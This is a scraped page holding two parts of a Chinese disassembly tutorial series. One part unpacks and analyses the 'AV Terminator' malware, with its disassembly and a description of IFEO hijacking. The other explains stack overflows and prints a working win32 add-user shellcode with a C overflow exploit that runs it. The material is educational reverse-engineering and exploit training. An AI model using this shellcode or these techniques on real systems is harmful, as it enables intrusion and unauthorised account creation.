文档库 最新最全的文档下载
当前位置:文档库 › 反汇编教程

反汇编教程

反汇编教程
反汇编教程

BoXer's Blog @.@

简单反汇编阅读系列教程—

Skip to content

?Home

?关于我

Category Archives for 简单反汇编阅读系列教程简单反汇编阅读(十)

视频下载地址:

https://www.wendangku.net/doc/a310469564.html,/donghua/g/19964.html

文本下载

大家好, 我是 BoXer , 今天为大家做的动画是简单反汇编阅读(十)

上一次我们反汇编分析了栈溢出原理 , 今天我们就来试试分析一下病毒

------------------------------------------------------------------------------

这里我随便找了一个病毒,没想到就是非常出名的 AV终结者

其实 AV终结者是一个下载者,那么我们现在就来看看它究竟干些什么坏事

用生成器生成一个病毒, 全部都勾上吧

生成的病毒, 查壳是 NsPacK V3.7 -> LiuXingPing * Sign.By.fly *

原来是北斗3.7 ,我们OD载入看看

F8 ,命令栏输入 hr esp 回车, F9 , F8

就这样很快可以到 OEP 了

这时候我们右键-分析-从模块删除分析

可以看到代码了, 这个oep有点奇怪啊...是不是加花呢???

不确定的话我们先dump出来看看

查壳发现是 Microsoft Visual C++ [Overlay]

现在可以断定是加花了,我们继续去花花

od载入,看到如下代码

0041C089 > $ 55 push ebp

0041C08A . 8BEC mov ebp, esp

0041C08C . 6A FF push -1

0041C08E . 68 66666600 push 666666

0041C093 . 68

88888800 push 888888 ; SE 处理程序安装

0041C098 . 64:A1 0000000>mov eax, dword ptr fs:[0]

0041C09E . 50 push eax

0041C09F . 64:8925 00000>mov dword ptr fs:[0], esp

0041C0A6 . 58 pop eax

0041C0A7 . 64:A3 0000000>mov dword ptr fs:[0], eax

0041C0AD . 90 nop

0041C0AE . 72 0C jb short 0041C0BC

0041C0B0 . 73 0A jnb short 0041C0BC

0041C0B2 > 90 nop

0041C0B3 . 90 nop

0041C0B4 . 90 nop

0041C0B5 . 90 nop

0041C0B6 . 72 10 jb short 0041C0C8

0041C0B8 . 73 0E jnb short 0041C0C8

0041C0BA . 0000 add byte ptr [eax], al

0041C0BC > 58 pop eax

0041C0BD . 58 pop eax

0041C0BE . 58 pop eax

0041C0BF . 58 pop eax

0041C0C0 .^ 72 F0 jb short 0041C0B2

0041C0C2 .^ 73 EE jnb short 0041C0B2

0041C0C4 . 0000 add byte ptr [eax], al

0041C0C6 . 0000 add byte ptr [eax], al

0041C0C8 > 90 nop

0041C0C9 . 90 nop

0041C0CA . 50 push eax

0041C0CB . 58 pop eax

0041C0CC . 90 nop

0041C0CD . 90 nop

0041C0CE . 83C4 01 add esp, 1

0041C0D1 . 90 nop

0041C0D2 . 90 nop

0041C0D3 . 90 nop

0041C0D4 . 83C4 FF add esp, -1

0041C0D7 . 90 nop

0041C0D8 .^ 0F82 76D8FEFF jb 00409954

0041C0DE .^ 0F83 70D8FEFF jnb 00409954

最后2句

0041C0D8 .^ 0F82 76D8FEFF jb 00409954

0041C0DE .^ 0F83 70D8FEFF jnb 00409954

玩过免杀的人都知道,这2句合成的效果就是jmp 00409954

我们到 00409954 看看,

00409954 /> /55 push ebp

00409955 |. |8BEC mov ebp, esp

00409957 |. |B9 0E000000 mov ecx, 0E

0040995C |> |6A 00 /push 0

0040995E |. |6A 00 |push 0

00409960 |. |49 |dec ecx

00409961 |.^|75 F9 \jnz short 0040995C

这个头好点熟悉啊,玩破解的人应该知道是什么语言的oep了吧?!

我们在 00409954 按 F4 ,dump出来

查壳 Borland Delphi 6.0 - 7.0

成功脱壳去花了,下面就来简单分析这个病毒的工作原理吧

------------------------------------------------------------------------------

为了安全起见,我推荐在虚拟机或者影子系统上分析

我机子配置比较差 , 只好直接分析了(一不小心运行就...)

不过为了安全,我们还是对关键的函数下断点

对那些 CreateFile,CopyFile,DeleteFile 这些文件操作的函数下断

最好还打开文件监控和注册表监控的软件

如果api不熟悉的话,可以用这个软件

LiquidX 函数查询宝典 V2.0 Pro

下载地址 https://www.wendangku.net/doc/a310469564.html,/soft/23518.html

------------------------------------------------------------------------------

我在这里就直接右键,查找,所以参考文本字符串

可以看到一堆的字符串了

然后双击一些关键的字符串进去简单分析分析算了

比如分析一下这里:

文本字串参考位于 d2:, 条目 557

地址=00408A6A

反汇编=mov ecx, 00408B40

文本字串=ASCII "AutoRun.inf"

双击来到下面函数:

004089F0 /$ 55 push ebp

004089F1 |. 8BEC mov ebp, esp

004089F3 |. 83C4 D0 add esp, -30

004089F6 |. 53 push ebx

004089F7 |. 56 push esi

004089F8 |. 57 push edi

004089F9 |. 33C0 xor eax,

eax ; 初始化一些局部变量

004089FB |. 8945 D0 mov dword ptr [ebp-30], eax 004089FE |. 8945 D4 mov dword ptr [ebp-2C], eax 00408A01 |. 8945 FC mov dword ptr [ebp-4], eax

00408A04 |. 8945 F8 mov dword ptr [ebp-8], eax

00408A07 |. 8945 F4 mov dword ptr [ebp-C], eax

00408A0A |. 8945 F0 mov dword ptr [ebp-10], eax 00408A0D |. 33C0 xor eax, eax

00408A0F |. 55 push ebp

00408A10 |. 68 F58A4000 push 00408AF5

00408A15 |. 64:FF30 push dword ptr fs:[eax]

00408A18 |. 64:8920 mov dword ptr fs:[eax], esp 00408A1B |. BE 048B4000 mov esi,

00408B04 ; ASCII

"DEFGHIJKLMNOPQRSTUVWXYZ"

; 看样子是想遍历所有磁盘了

; C盘肯定是系统盘,所以不用遍历

00408A20 |. 8D7D D9 lea edi, dword ptr [ebp-27]

00408A23 |. B9 05000000 mov ecx, 5

00408A28 |. F3:A5 rep movs dword ptr es:[edi], dword ptr [esi]

00408A2A |. 66:A5 movs word ptr es:[edi], word ptr [esi] 00408A2C |. A4 movs byte ptr es:[edi], byte ptr [esi] 00408A2D |. 8D45 D4 lea eax, dword ptr [ebp-2C]

00408A30 |. E8 63C1FFFF call 00404B98

00408A35 |. 8B55 D4 mov edx, dword ptr [ebp-2C]

00408A38 |. 8D45 F8 lea eax, dword ptr [ebp-8]

00408A3B |. B9 248B4000 mov ecx,

00408B24 ; ASCII ".exe"

00408A40 |. E8 2FACFFFF call 00403674

00408A45 |. BE 17000000 mov esi,

17 ; 循环0x17次,23次,就是上面的

字母数了

00408A4A |. 8D5D D9 lea ebx, dword ptr [ebp-27]

00408A4D |> 8D45 D0 /lea eax, dword ptr [ebp-30]

00408A50 |. 8A13 |mov dl, byte ptr [ebx]

00408A52 |. E8 79ABFFFF |call 004035D0

00408A57 |. 8B55 D0 |mov edx, dword ptr [ebp-30]

00408A5A |. 8D45 FC |lea eax, dword ptr [ebp-4]

00408A5D |. B9 348B4000 |mov ecx,

00408B34 ; ASCII ":\"

00408A62 |. E8 0DACFFFF |call 00403674

00408A67 |. 8D45 F4 |lea eax, dword ptr [ebp-C]

00408A6A |. B9 408B4000 |mov ecx,

00408B40 ; ASCII "AutoRun.inf"

00408A6F |. 8B55 FC |mov edx, dword ptr [ebp-4]

00408A72 |. E8 FDABFFFF |call 00403674

00408A77 |. 8D45 F0 |lea eax, dword ptr [ebp-10]

00408A7A |. 8B4D F8 |mov ecx, dword ptr [ebp-8]

00408A7D |. 8B55 FC |mov edx, dword ptr [ebp-4]

00408A80 |. E8 EFABFFFF |call 00403674

00408A85 |. 8B45 FC |mov eax, dword ptr [ebp-4]

00408A88 |. E8 9BADFFFF |call 00403828

00408A8D |. 50 |push eax ; /RootPathName

00408A8E |. E8

E1B5FFFF |call ;

\GetDriveTypeA

00408A93 |. 66:83F8 03 |cmp ax,

3 ; 判断是否为固定硬盘

00408A97 |. 75 30 |jnz short

00408AC9 ; 不是的话就跳

00408A99 |. 6A

00 |push 0 ; S etFileAttributes的参数,normal属性

00408A9B |. 8B45 F4 |mov eax, dword ptr [ebp-C] 00408A9E |. E8

85ADFFFF |call 00403828 ; 跟进,发现是使eax指向0040382D

00408AA3 |. 8BF8 |mov edi,

eax ; |

00408AA5 |. 57 |push edi ; |FileName

00408AA6 |. E8

69B6FFFF |call ; \SetFileAttributesA

00408AAB |. 57 |push edi ; /FileName

00408AAC |. E8

9BB5FFFF |call ; \DeleteFileA

00408AB1 |. 6A 00 |push 0

00408AB3 |. 8B45 F0 |mov eax, dword ptr [ebp-10] 00408AB6 |. E8 6DADFFFF |call 00403828

00408ABB |. 8BF8 |mov edi,

eax ; |

00408ABD |. 57 |push edi ; |FileName

00408ABE |. E8

51B6FFFF |call ; \SetFileAttributesA

00408AC3 |. 57 |push edi ; /FileName

00408AC4 |. E8

83B5FFFF |call ; \DeleteFileA

00408AC9 |> 43 |inc ebx

00408ACA |. 4E |dec esi

00408ACB |.^ 75 80 \jnz short 00408A4D

00408ACD |. 33C0 xor eax, eax

00408ACF |. 5A pop edx

00408AD0 |. 59 pop ecx

00408AD1 |. 59 pop ecx

00408AD2 |. 64:8910 mov dword ptr fs:[eax], edx 00408AD5 |. 68 FC8A4000 push 00408AFC

00408ADA |> 8D45 D0 lea eax, dword ptr [ebp-30] 00408ADD |. BA 02000000 mov edx, 2

00408AE2 |. E8 EDA9FFFF call 004034D4

00408AE7 |. 8D45 F0 lea eax, dword ptr [ebp-10] 00408AEA |. BA 04000000 mov edx, 4

00408AEF |. E8 E0A9FFFF call 004034D4

00408AF4 \. C3 retn

这个函数简单看来好像是遍历所有磁盘,把原来的存在的 AutoRun.inf以

及.exe 删掉

然后再放进他自己的 AutoRun.inf 和病毒.exe

还有其他功能可能要动态分析了,我们简单分析一下就够了,去下一个函数吧

------------------------------------------------------------------------------

就在刚才那个的下面,找到这个吧

文本字串参考位于 d2:, 条目 563

地址=00408B8B

反汇编=mov eax, 00408E14

文本字串=ASCII "Explorer.Exe"

双击来到下面:

00408B4C /$ 55 push ebp

00408B4D |. 8BEC mov ebp, esp

00408B4F |. B9 0A000000 mov ecx, 0A

00408B54 |> 6A 00 /push 0

00408B56 |. 6A 00 |push 0

00408B58 |. 49 |dec ecx

00408B59 |.^ 75 F9 \jnz short 00408B54

00408B5B |. 53 push ebx

00408B5C |. 8BD8 mov ebx, eax

00408B5E |. 33C0 xor eax, eax

00408B60 |. 55 push ebp

00408B61 |. 68 008E4000 push 00408E00

00408B66 |. 64:FF30 push dword ptr fs:[eax]

00408B69 |. 64:8920 mov dword ptr fs:[eax], esp 00408B6C |. 8D45 F8 lea eax, dword ptr [ebp-8]

00408B6F |. E8 90C2FFFF call 00404E04

00408B74 |. 8B45 F8 mov eax, dword ptr [ebp-8]

00408B77 |. E8 ACACFFFF call 00403828

00408B7C |. 50 push eax ; /FileName

00408B7D |. E8

FAB4FFFF call ; \GetFileAttributesA

00408B82 |. 83F8 FF cmp eax,

-1 ; 返回文件属性,-1为返回出错00408B85 |. 0F84

5A020000 je 00408DE5 ; 得不到属性就跳

00408B8B |. B8 148E4000 mov eax,

00408E14 ; ASCII "Explorer.Exe"

00408B90 |. E8

BFE9FFFF call 00407554 ; 跟进去看看,好像是关闭句柄

00408B95 |. B8 2C8E4000 mov eax,

00408E2C ; ASCII "TIMPlatform.exe" 00408B9A |. E8 B5E9FFFF call 00407554

00408B9F |. 6A

00 push 0 ; /lParam = 0

00408BA1 |. 6A

00 push 0 ; |wParam = 0

00408BA3 |. 6A

1A push 1A ; |Message = WM_WININICHANGE

00408BA5 |. 68

FFFF0000 push 0FFFF ; |hWnd = HWND_BROADCAST

00408BAA |. E8

C5B5FFFF call ; \PostMessageA

00408BAF |. B8 3C8E4000 mov eax, 00408E3C

00408BB4 |. 33D2 xor edx, edx

00408BB6 |. E8 29C5FFFF call 004050E4

00408BBB |. 80FB 01 cmp bl, 1

00408BBE |. 75 07 jnz short 00408BC7

00408BC0 |. 33C0 xor eax, eax

00408BC2 |. E8 85EEFFFF call 00407A4C

00408BC7 |> 6A 00 push 0

00408BCC |. E8 CFC2FFFF call 00404EA0

00408BD1 |. 8B45 F4 mov eax, dword ptr [ebp-C]

00408BD4 |. E8 4FACFFFF call 00403828

00408BD9 |. 50 push eax ; |FileName

00408BDA |. E8

35B5FFFF call ; \SetFileAttributesA

00408BDF |. 8D45 F0 lea eax, dword ptr [ebp-10] 00408BE2 |. E8 B9C2FFFF call 00404EA0

00408BE7 |. 8B45 F0 mov eax, dword ptr [ebp-10] 00408BEA |. E8 39ACFFFF call 00403828

00408BEF |. 50 push eax ; /FileName

00408BF0 |. E8

57B4FFFF call ; \DeleteFileA

00408BF5 |. 6A 00 push 0

00408BF7 |. 8D45 EC lea eax, dword ptr [ebp-14] 00408BFA |. E8 8DC1FFFF call 00404D8C

00408BFF |. 8B45 EC mov eax, dword ptr [ebp-14] 00408C02 |. E8 21ACFFFF call 00403828

00408C07 |. 50 push eax ; |FileName

00408C08 |. E8

07B5FFFF call ; \SetFileAttributesA

00408C0D |. 8D45 E8 lea eax, dword ptr [ebp-18] 00408C10 |. E8 77C1FFFF call 00404D8C

00408C15 |. 8B45 E8 mov eax, dword ptr [ebp-18] 00408C18 |. E8 0BACFFFF call 00403828

00408C1D |. 50 push eax ; /FileName

00408C1E |. E8

29B4FFFF call ; \DeleteFileA

00408C23 |. 6A 00 push 0

00408C25 |. 8D45 E0 lea eax, dword ptr [ebp-20] 00408C28 |. E8 4BC7FFFF call 00405378

00408C2D |. FF75 E0 push dword ptr [ebp-20]

00408C30 |. 68

488E4000 push 00408E48 ; A SCII "Help\"

00408C38 |. E8 5BBFFFFF call 00404B98

00408C3D |. FF75 DC push dword ptr [ebp-24]

00408C40 |. 68

588E4000 push 00408E58 ; A SCII ".chm"

00408C45 |. 8D45 E4 lea eax, dword ptr [ebp-1C] 00408C48 |. BA 04000000 mov edx, 4

00408C4D |. E8 96AAFFFF call 004036E8

00408C52 |. 8B45 E4 mov eax, dword ptr [ebp-1C] 00408C55 |. E8 CEABFFFF call 00403828

00408C5A |. 50 push eax ; |FileName

00408C5B |. E8

B4B4FFFF call ; \SetFileAttributesA

00408C60 |. 8D45 D4 lea eax, dword ptr [ebp-2C] 00408C63 |. E8 10C7FFFF call 00405378

00408C68 |. FF75 D4 push dword ptr [ebp-2C]

00408C6B |. 68

488E4000 push 00408E48 ; A SCII "Help\"

00408C70 |. 8D45 D0 lea eax, dword ptr [ebp-30] 00408C73 |. E8 20BFFFFF call 00404B98

00408C78 |. FF75 D0 push dword ptr [ebp-30]

00408C7B |. 68

588E4000 push 00408E58 ; A SCII ".chm"

00408C80 |. 8D45 D8 lea eax, dword ptr [ebp-28] 00408C83 |. BA 04000000 mov edx, 4

00408C88 |. E8 5BAAFFFF call 004036E8

00408C8D |. 8B45 D8 mov eax, dword ptr [ebp-28] 00408C90 |. E8 93ABFFFF call 00403828

00408C95 |. 50 push eax ; /FileName

00408C96 |. E8

B1B3FFFF call ; \DeleteFileA

00408C9B |. BB 0A000000 mov ebx, 0A

00408CA0 |> 8B45 FC /mov eax, dword ptr [ebp-4] 00408CA3 |. BA 688E4000 |mov edx,

00408E68 ; ASCII " "

00408CA8 |. E8 C7AAFFFF |call 00403774

00408CAD |. 75 10 |jnz short 00408CBF

00408CAF |. 6A

00 |push 0 ; /lParam = 0

00408CB1 |. 6A

00 |push 0 ; |wParam = 0

00408CB3 |. 6A

1A |push 1A ; |Message = WM_WININICHANGE

00408CB5 |. 68

FFFF0000 |push 0FFFF ; |hWnd = HWND_BROADCAST

00408CBA |. E8

BDB4FFFF |call ; \SendMessageA

00408CBF |> 6A

00 |push 0 ; /lParam = 0

00408CC1 |. 6A

00 |push 0 ; |wParam = 0

00408CC3 |. 6A

1A |push 1A ; |Message = WM_WININICHANGE

00408CC5 |. 68

FFFF0000 |push 0FFFF ; |hWnd = HWND_BROADCAST

00408CCA |. E8

A5B4FFFF |call ; \PostMessageA

00408CCF |. 6A 00 |push 0

00408CD1 |. 8D45 CC |lea eax, dword ptr [ebp-34] 00408CD4 |. E8 2BC1FFFF |call 00404E04

00408CD9 |. 8B45 CC |mov eax, dword ptr [ebp-34] 00408CDC |. E8 47ABFFFF |call 00403828

00408CE1 |. 50 |push eax ; |FileName

00408CE2 |. E8

2DB4FFFF |call ; \SetFileAttributesA

00408CE7 |. 8D45 C8 |lea eax, dword ptr [ebp-38] 00408CEA |. E8 15C1FFFF |call 00404E04

00408CEF |. 8B45 C8 |mov eax, dword ptr [ebp-38] 00408CF2 |. E8 31ABFFFF |call 00403828

00408CF7 |. 50 |push eax ; /FileName

00408CF8 |. E8

4FB3FFFF |call ; \DeleteFileA

00408CFD |. 85C0 |test eax, eax

00408CFF |. 75 0D |jnz short

00408D0E ; 上面删除成功后挂起进程1000ms 00408D01 |. 68

E8030000 |push 3E8 ; /Timeout = 1000. ms

00408D06 |. E8

21B4FFFF |call ; \Sleep

00408D0B |. 4B |dec ebx

00408D0C |.^ 75 92 \jnz short 00408CA0

00408D0E |> 8D45 C4 lea eax, dword ptr [ebp-3C] 00408D11 |. E8 EEC0FFFF call 00404E04

00408D16 |. 8B45 C4 mov eax, dword ptr [ebp-3C] 00408D19 |. E8 0AABFFFF call 00403828

00408D1E |. 50 push eax ; /FileName

00408D1F |. E8

58B3FFFF call ; \GetFileAttributesA

00408D24 |. 83F8 FF cmp eax, -1

00408D27 |. 74 79 je short 00408DA2

00408D29 |. E8 2EC7FFFF call 0040545C

00408D2E |. 84C0 test al, al

00408D30 |. 74 4B je short 00408D7D

00408D32 |. 8D45 C0 lea eax, dword ptr [ebp-40] 00408D35 |. E8 3EC6FFFF call 00405378

00408D3A |. 8D45 C0 lea eax, dword ptr [ebp-40] 00408D3D |. BA 748E4000 mov edx,

00408E74 ; ASCII "wininit.ini"

00408D42 |. E8 E9A8FFFF call 00403630

00408D47 |. 8B45 C0 mov eax, dword ptr [ebp-40] 00408D4A |. E8 D9AAFFFF call 00403828

00408D4F |. 50 push eax ; wininit.ini的路径

00408D50 |. 8D45 B8 lea eax, dword ptr [ebp-48] 00408D53 |. E8 ACC0FFFF call 00404E04

00408D58 |. 8B45 B8 mov eax, dword ptr [ebp-48] 00408D5B |. 8D55 BC lea edx, dword ptr [ebp-44]

00408D5E |. E8 B5C6FFFF call 00405418

00408D63 |. 8B45 BC mov eax, dword ptr [ebp-44]

00408D66 |. E8 BDAAFFFF call 00403828

00408D6B |. 50 push eax ; |String

00408D6C |. 68

808E4000 push 00408E80 ;

|Key = "nul"

00408D71 |. 68

848E4000 push 00408E84 ;

|Section = "rename"

00408D76 |. E8

D1B3FFFF call ;

\WritePrivateProfileStringA

00408D7B |. EB 25 jmp short

00408DA2 ; 对wininit.ini写入内容后就跳转

00408D7D |> 6A 04 push 4

00408D7F |. 6A 00 push 0

00408D81 |. 8D45 B0 lea eax, dword ptr [ebp-50]

00408D84 |. E8 7BC0FFFF call 00404E04

00408D89 |. 8B45 B0 mov eax, dword ptr [ebp-50]

00408D8C |. 8D55 B4 lea edx, dword ptr [ebp-4C]

00408D8F |. E8 84C6FFFF call 00405418

00408D94 |. 8B45 B4 mov eax, dword ptr [ebp-4C]

00408D97 |. E8 8CAAFFFF call 00403828

00408D9C |. 50 push eax ; |ExistingName

00408D9D |. E8

4AB3FFFF call ;

\MoveFileExA

00408DA2 |> E8 49FCFFFF call 004089F0

00408DA7 |. E8 B0C6FFFF call 0040545C

00408DAC |. 84C0 test al, al

00408DAE |. 74 0E je short

00408DBE ; 判断启动还是注入Explorer.exe 00408DB0 |. 6A

05 push 5 ;

/ShowState = SW_SHOW

00408DB2 |. 68

8C8E4000 push 00408E8C ;

|CmdLine = "Explorer.exe"

00408DB7 |. E8

80B3FFFF call ;

\WinExec

00408DBC |. EB 17 jmp short 00408DD5

00408DBE |> 6A

00 push 0 ; /IsShown = 0

00408DC0 |. 6A

00 push 0 ; |DefDir = NULL

00408DC2 |. 6A

00 push 0 ; |Parameters = NULL

00408DC4 |. 68

9C8E4000 push 00408E9C ; |FileName = "explore"

00408DC9 |. 68

9C8E4000 push 00408E9C ; |Operation = "explore"

00408DCE |. 6A

00 push 0 ; |hWnd = NULL

00408DD0 |. E8

7BD3FFFF call ; \ShellExecuteA

00408DD5 |> 6A

00 push 0 ; /lParam = 0

00408DD7 |. 6A

00 push 0 ; |wParam = 0

00408DD9 |. 6A

1A push 1A ; |Message = WM_WININICHANGE

00408DDB |. 68

FFFF0000 push 0FFFF ; |hWnd = HWND_BROADCAST

00408DE0 |. E8

97B3FFFF call ; \SendMessageA

00408DE5 |> 33C0 xor eax, eax

00408DE7 |. 5A pop edx

00408DE8 |. 59 pop ecx

00408DE9 |. 59 pop ecx

00408DEA |. 64:8910 mov dword ptr fs:[eax], edx 00408DED |. 68 078E4000 push 00408E07

00408DF2 |> 8D45 B0 lea eax, dword ptr [ebp-50]

00408DF5 |. BA 14000000 mov edx, 14

00408DFA |. E8 D5A6FFFF call 004034D4

00408DFF \. C3 retn

先简单说说几个函数

GetFileAttributesA 返回文件属性

WritePrivateProfileStringA 拷贝一个字符串到INI文件中指定区域的关键字的参数值

这个函数主要作用是先对 Explorer.exe 和 TIMPlatform.exe 做手脚,挂起进程

接着删一堆东西又释放一堆东西在下面的路径

%windir%\Help\{随机8位字母+数字名字}.chm

最后注入并启动Explorer.exe

------------------------------------------------------------------------------

最后看看这个病毒最出名的也最被滥用的技术: 映像劫持 (又叫IFEO重定向劫持)

这个病毒首先通过在注册表

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

(简写IFEO)下添加注册表项来进行文件映像劫持, 默认只有管理员和 local system 有权读写修改

假设在这个项新建个A.exe, 键值为Debugger,指向的是另一个程序 B.exe 路径的话

那么运行A程序的时候,A.exe不会执行而执行 B.exe ,这就是重定向劫持。

还有就是会尝试删除一些关键字,我们也可以看看

------------------------------------------------------------------------------

这个病毒最简单的分析就到这里了,如果大家有兴趣的话可以对它进行彻底的分析

到这里这个动画也就差不多完成了, 而且也意味着《简单反汇编阅读》系列到此结束了

那些把10部都看完的朋友,我要对你们说一声:谢谢!

还有那些发邮件和在blog或者论坛留言支持我鼓励我的朋友,我非常感谢你们的支持

是你们的支持和鼓励,还有那些有益的建议使我能完成这一系列的动画

谢谢你们~

https://www.wendangku.net/doc/a310469564.html,

scship#https://www.wendangku.net/doc/a310469564.html,

Written on 20 十月 2007 by BoXer under 简单反汇编阅读系列教程 with 2 Comments

简单反汇编阅读(九)

视频下载地址:

https://www.wendangku.net/doc/a310469564.html,/donghua/g/19950.html

文本下载

大家好, 我是 BoXer , 今天为大家做的动画是简单反汇编阅读(九)

上2个动画都是针对破解的反汇编阅读,那么今天我们来看看漏洞挖掘的反汇编阅读

------------------------------------------------------------------------------

现代的操作系统,比如说 Windows,UNIX,Linux 等等,以及各种各样的软件,都不可避免的出现漏洞

最常见的漏洞有

栈溢出(Stack Overflow), 堆腐烂(Heap Corruption), 格式化字符串(Format String)漏洞这3种,

通常被称为简单的缓冲区溢出(Buffer Overflow)

之前我有做过关于漏洞原理的动画,大家可以看看

《什么是栈溢出》

https://www.wendangku.net/doc/a310469564.html,/donghua/g/17393.html

《认识格式化字符串漏洞》

https://www.wendangku.net/doc/a310469564.html,/donghua/g/17626.html

------------------------------------------------------------------------------

下面我们就用简单的例子举例说明一下栈溢出 ,看下面一段代码

#include

#include

char str[]="AAAAAAAAAA";

void main(void)

{

char buffer[10];

strcpy(buffer, str);

printf("%s\n", buffer);

}

很简单的代码,定义一个全局数组str并初始化,然后在main()函数里面把它复制到buffer数组

我们反汇编看看栈的变化

------------------------------------------------------------------------------

然后我们改一下这个程序,让它变得"危险"点.

把str改为这样:

char str[]="AAAAAAAAAABBBBBBBBBB";

编译运行,可以看到溢出了

我们反汇编看看为什么会溢出

原来我们定义的 char buffer[10]; 并不是真正的10个字节

因为win32的堆栈默认是4字节对齐,那么系统分配给buffer其实是12字节

buffer的12字节接下来的4字节就是保存的ebp值,再下一个4字节就是返回的eip值(我也叫RET值)

那么本质上就是把栈里面保存的eip返回地址给覆盖了

返回的时候程序自然就去到了不知名的地方

------------------------------------------------------------------------------

既然知道了溢出的原理,那么我们就尝试把它溢出

由于在这里我们不打算自己写shellcode, 因为那又是一门学问

我们直接去 https://www.wendangku.net/doc/a310469564.html,/ 找就行了

登录网站后,选Shellcode, 再选Windows,点击 Windows section 进入win32的shellcode生成页面

选 Windows Execute net user /ADD

EXITFUNC=thread(退出方法,这里是线程)

USER=asm9(随便填)

PASS=asm9(随便填)

MaxSize=255(填大一点没关系,生成时候会小于这个size的)

Encoder=PexFnstenvSub(编码方式)

得到的格式如下:

/* win32_adduser - PASS=asm9 EXITFUNC=thread USER=asm9 Size=232 Encoder=PexFnstenvSub https://www.wendangku.net/doc/a310469564.html, */

unsigned char scode[] =

"\x33\xc9\x83\xe9\xcc\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xbe" "\x91\x0e\xe1\x83\xeb\xfc\xe2\xf4\x42\x79\x4a\xe1\xbe\x91\x85\xa4" "\x82\x1a\x72\xe4\xc6\x90\xe1\x6a\xf1\x89\x85\xbe\x9e\x90\xe5\xa8" "\x35\xa5\x85\xe0\x50\xa0\xce\x78\x12\x15\xce\x95\xb9\x50\xc4\xec" "\xbf\x53\xe5\x15\x85\xc5\x2a\xe5\xcb\x74\x85\xbe\x9a\x90\xe5\x87" "\x35\x9d\x45\x6a\xe1\x8d\x0f\x0a\x35\x8d\x85\xe0\x55\x18\x52\xc5"

"\xba\x52\x3f\x21\xda\x1a\x4e\xd1\x3b\x51\x76\xed\x35\xd1\x02\x6a" "\xce\x8d\xa3\x6a\xd6\x99\xe5\xe8\x35\x11\xbe\xe1\xbe\x91\x85\x89" "\x82\xce\x3f\x17\xde\xc7\x87\x19\x3d\x51\x75\xb1\xd6\x7e\xc0\x01" "\xde\xf9\x96\x1f\x34\x9f\x59\x1e\x59\xf2\x63\x85\x90\xf4\x76\x84" "\x9e\xbe\x6d\xc1\xd0\xf4\x7a\xc1\xcb\xe2\x6b\x93\x9e\xf0\x7d\x8c" "\x87\xb1\x6f\x92\xd3\xa8\x2e\xce\xff\xd5\x4a\xc1\x98\xb7\x2e\x8f" "\xdb\xe5\x2e\x8d\xd1\xf2\x6f\x8d\xd9\xe3\x61\x94\xce\xb1\x4f\x85" "\xd3\xf8\x60\x88\xcd\xe5\x7c\x80\xca\xfe\x7c\x92\x9e\xf0\x7d\x8c" "\x87\xb1\x21\xa0\xfa\xd5\x0e\xe1";

现在考虑shellcode存放的地方吧.

由于我们要覆盖ret的地方,而shellcode可以放在保存的eip之前,也可以放在后面

但是由于这个shellcode比较大,放在ret 序的其他地址

所以我们决定把这个shellcode放在数组里面,那么buffer数组就要定义大一些了

(自己写程序自己来溢出才这样,实战起来又是另外一回事了)

------------------------------------------------------------------------------

ret的地址最好是shellcode的首址,但是很难计算的那么精确的

我们只要返回到shellcode之前的nop,然后让程序顺着nop执行下去就可以自然的执行我们的shellcode了

这样我们可以想像出程序执行的顺序了(N...N表示多个NOP, JMP -X为向前跳X 字节)

N...N + shellcode + N...N + EBP + EIP(RET) + JMP -X + N...N

根据这些想法,我们就有下面的程序:

#include

#include

#include

char temp[2020];

unsigned char shellcode[] =

"\x33\xc9\x83\xe9\xcc\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xbe" "\x91\x0e\xe1\x83\xeb\xfc\xe2\xf4\x42\x79\x4a\xe1\xbe\x91\x85\xa4"

"\x82\x1a\x72\xe4\xc6\x90\xe1\x6a\xf1\x89\x85\xbe\x9e\x90\xe5\xa8" "\x35\xa5\x85\xe0\x50\xa0\xce\x78\x12\x15\xce\x95\xb9\x50\xc4\xec" "\xbf\x53\xe5\x15\x85\xc5\x2a\xe5\xcb\x74\x85\xbe\x9a\x90\xe5\x87" "\x35\x9d\x45\x6a\xe1\x8d\x0f\x0a\x35\x8d\x85\xe0\x55\x18\x52\xc5" "\xba\x52\x3f\x21\xda\x1a\x4e\xd1\x3b\x51\x76\xed\x35\xd1\x02\x6a" "\xce\x8d\xa3\x6a\xd6\x99\xe5\xe8\x35\x11\xbe\xe1\xbe\x91\x85\x89" "\x82\xce\x3f\x17\xde\xc7\x87\x19\x3d\x51\x75\xb1\xd6\x7e\xc0\x01" "\xde\xf9\x96\x1f\x34\x9f\x59\x1e\x59\xf2\x63\x85\x90\xf4\x76\x84" "\x9e\xbe\x6d\xc1\xd0\xf4\x7a\xc1\xcb\xe2\x6b\x93\x9e\xf0\x7d\x8c" "\x87\xb1\x6f\x92\xd3\xa8\x2e\xce\xff\xd5\x4a\xc1\x98\xb7\x2e\x8f" "\xdb\xe5\x2e\x8d\xd1\xf2\x6f\x8d\xd9\xe3\x61\x94\xce\xb1\x4f\x85" "\xd3\xf8\x60\x88\xcd\xe5\x7c\x80\xca\xfe\x7c\x92\x9e\xf0\x7d\x8c" "\x87\xb1\x21\xa0\xfa\xd5\x0e\xe1";

void main(void)

{

char Buffer[2000] = {0};

memset(temp, '\x90', 2020); //用 nop 填充

memcpy(temp + 2004, "\x12\x45\xfa\x7f", 4); //用jmp ESP 覆盖 ebp memcpy(temp + 2008, "\xE9\x13\xFC\xFF\xFF", 5); //用jmp -1000 memcpy(temp + 1500, shellcode, 232);

strcpy(Buffer, temp);

}

memset , memcpy , strcpy 这三个函数我也为大家找了资料,方便一些不熟悉C 语言的朋友

strcpy

原型:extern char *strcpy(char *dest,char *src);

用法:#include

功能:把src所指由NULL结束的字符串复制到dest所指的数组中。

说明:src和dest所指内存区域不可以重叠且dest必须有足够的空间来容纳src 的字符串。

返回指向dest的指针。

memcpy

原型:extern void *memcpy(void *dest, void *src, unsigned int count); 用法:#include

功能:由src所指内存区域复制count个字节到dest所指内存区域。

说明:src和dest所指内存区域不能重叠,函数返回指向dest的指针。

memset

原型:extern void *memset(void *buffer, int c, int count);

用法:#include

汇编语言 快速入门

